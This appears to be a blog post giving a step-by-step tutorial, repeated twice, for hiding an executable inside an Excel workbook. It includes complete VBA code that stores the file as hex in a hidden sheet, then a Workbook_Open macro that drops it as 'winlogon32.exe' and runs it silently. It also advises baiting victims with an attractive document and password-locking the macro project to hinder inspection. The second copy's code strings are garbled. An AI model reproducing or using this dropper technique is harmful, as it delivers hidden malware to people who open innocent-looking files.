***********************************
** How to embed an exe in an Excel doc **
***********************************
- Open a new Excel doc
- Open the Visual Basic Editor (Tools->Macros->Visual Basic Editor)
- Double-click 'ThisWorkbook'
- Copy and paste the following code into that window...
-----------------start of code----------------------------------
Option Explicit
Sub ImportFile(FileName As String)
Dim FileNum As Integer
Dim FileLength As Long
Dim FileBuffer() As Byte
Dim CurrentRow As Long
Dim BytesToRead As Long
Const MaxBuffer = 4096
FileNum = FreeFile
Open FileName For Binary Access Read As FileNum
FileLength = LOF(FileNum)
CurrentRow = 1
Do While FileLength > 0
BytesToRead = MaxBuffer
If BytesToRead > FileLength Then
BytesToRead = FileLength
End If
FileLength = FileLength - BytesToRead
ReDim FileBuffer(1 To BytesToRead)
Get FileNum, , FileBuffer
AddRow FileBuffer, CurrentRow
CurrentRow = CurrentRow + 1
Loop
Close FileNum
End Sub
Sub AddRow(FileBuffer() As Byte, RowNumber As Long)
Dim CellValue As String
Dim Index As Long
For Index = LBound(FileBuffer) To UBound(FileBuffer)
CellValue = CellValue + Right$("0" & Hex$(FileBuffer(Index)), 2)
Next
Sheet1.Cells(RowNumber, 1) = CellValue
End Sub
Sub ExportFile(FileName As String)
Dim CellValue As String
Dim Buffer() As Byte
Dim Index As Long
Dim FileNum As Long
Dim OK As Boolean
Dim RowNumber
Dim ByteCount As Long
FileNum = FreeFile
Open FileName For Binary Access Write As FileNum
OK = True
RowNumber = 1
Do
CellValue = Sheet1.Cells(RowNumber, 1)
RowNumber = RowNumber + 1
If CellValue = "" Then
OK = False
Else
ByteCount = Len(CellValue) / 2
ReDim Buffer(1 To ByteCount)
For Index = 1 To ByteCount
Buffer(Index) = CByte("&H" + Mid$(CellValue, Index * 2 - 1, 2))
Next Index
Put FileNum, , Buffer
End If
Loop While OK
Close FileNum
End Sub
-----------------end of code----------------------------------
- Go to the Immediate Window in the Editor (View->Immediate Window if it's not open)
- Type 'ThisWorkbook.ImportFile "" ' (no single quotes, keep double quotes, replace filename with the file you want to embed)
example: ThisWorkbook.ImportFile "C rogram.exe"
- Hit enter
- Under the current code, type or paste the following...
-----------------start of code----------------------------------
Private sub Workbook_Open
ExportFile ""
Shell "",vbHide
End Sub
-----------------end of code----------------------------------
- Replace with whatever you want the file to be exported as...
ie. ExportFile "C:winlogon32.exe"
Shell "C:winlogon32.exe" ....
- Go back to the excel and hide the sheet where it imported the file.
(Format->Sheet->Hide)
- You will now see a clean sheet
- Put whatever you want in it...make it look nice
- This sould also be something that you would assume would contain a macro,
and something they are going to want to open. Be creative.
- Save
- That is it. Remember: Macro setting are set to Medium on default, so in the
default state, it will prompt and ask to run a macro or not.
- It is pretty similar in Word...you just replace 'ThisWorkbook...' with 'ThisDocument...'
NOTE: I have only tried this on Office 2000...It could be diffenent is Office XP
- BE
--------------------
in the VBA editor where you are doing everything else, right click on 'ThisWorkbook' and choose 'VBAProject Properties...' then, click on the 'protection' tab, check the box where it says 'Lock project for viewing', put your password(s) in and click OK.
** How to embed an exe in an Excel doc **
***********************************
- Open a new Excel doc
- Open the Visual Basic Editor (Tools->Macros->Visual Basic Editor)
- Double-click 'ThisWorkbook'
- Copy and paste the following code into that window...
-----------------start of code----------------------------------
Option Explicit
Sub ImportFile(FileName As String)
Dim FileNum As Integer
Dim FileLength As Long
Dim FileBuffer() As Byte
Dim CurrentRow As Long
Dim BytesToRead As Long
Const MaxBuffer = 4096
FileNum = FreeFile
Open FileName For Binary Access Read As FileNum
FileLength = LOF(FileNum)
CurrentRow = 1
Do While FileLength > 0
BytesToRead = MaxBuffer
If BytesToRead > FileLength Then
BytesToRead = FileLength
End If
FileLength = FileLength - BytesToRead
ReDim FileBuffer(1 To BytesToRead)
Get FileNum, , FileBuffer
AddRow FileBuffer, CurrentRow
CurrentRow = CurrentRow + 1
Loop
Close FileNum
End Sub
Sub AddRow(FileBuffer() As Byte, RowNumber As Long)
Dim CellValue As String
Dim Index As Long
For Index = LBound(FileBuffer) To UBound(FileBuffer)
CellValue = CellValue + Right$("0" & Hex$(FileBuffer(Index)), 2)
Next
Sheet1.Cells(RowNumber, 1) = CellValue
End Sub
Sub ExportFile(FileName As String)
Dim CellValue As String
Dim Buffer() As Byte
Dim Index As Long
Dim FileNum As Long
Dim OK As Boolean
Dim RowNumber
Dim ByteCount As Long
FileNum = FreeFile
Open FileName For Binary Access Write As FileNum
OK = True
RowNumber = 1
Do
CellValue = Sheet1.Cells(RowNumber, 1)
RowNumber = RowNumber + 1
If CellValue = "" Then
OK = False
Else
ByteCount = Len(CellValue) / 2
ReDim Buffer(1 To ByteCount)
For Index = 1 To ByteCount
Buffer(Index) = CByte("&H" + Mid$(CellValue, Index * 2 - 1, 2))
Next Index
Put FileNum, , Buffer
End If
Loop While OK
Close FileNum
End Sub
-----------------end of code----------------------------------
- Go to the Immediate Window in the Editor (View->Immediate Window if it's not open)
- Type 'ThisWorkbook.ImportFile "
example: ThisWorkbook.ImportFile "C
- Hit enter
- Under the current code, type or paste the following...
-----------------start of code----------------------------------
Private sub Workbook_Open
ExportFile "
Shell "
End Sub
-----------------end of code----------------------------------
- Replace
ie. ExportFile "C:winlogon32.exe"
Shell "C:winlogon32.exe" ....
- Go back to the excel and hide the sheet where it imported the file.
(Format->Sheet->Hide)
- You will now see a clean sheet
- Put whatever you want in it...make it look nice
- This sould also be something that you would assume would contain a macro,
and something they are going to want to open. Be creative.
- Save
- That is it. Remember: Macro setting are set to Medium on default, so in the
default state, it will prompt and ask to run a macro or not.
- It is pretty similar in Word...you just replace 'ThisWorkbook...' with 'ThisDocument...'
NOTE: I have only tried this on Office 2000...It could be diffenent is Office XP
- BE
--------------------
in the VBA editor where you are doing everything else, right click on 'ThisWorkbook' and choose 'VBAProject Properties...' then, click on the 'protection' tab, check the box where it says 'Lock project for viewing', put your password(s) in and click OK.
Name:- Abdul Adil - T
E-Mail :- adilaat@gmail.com
Visit :- aatwap.hexat.com
No comments:
Post a Comment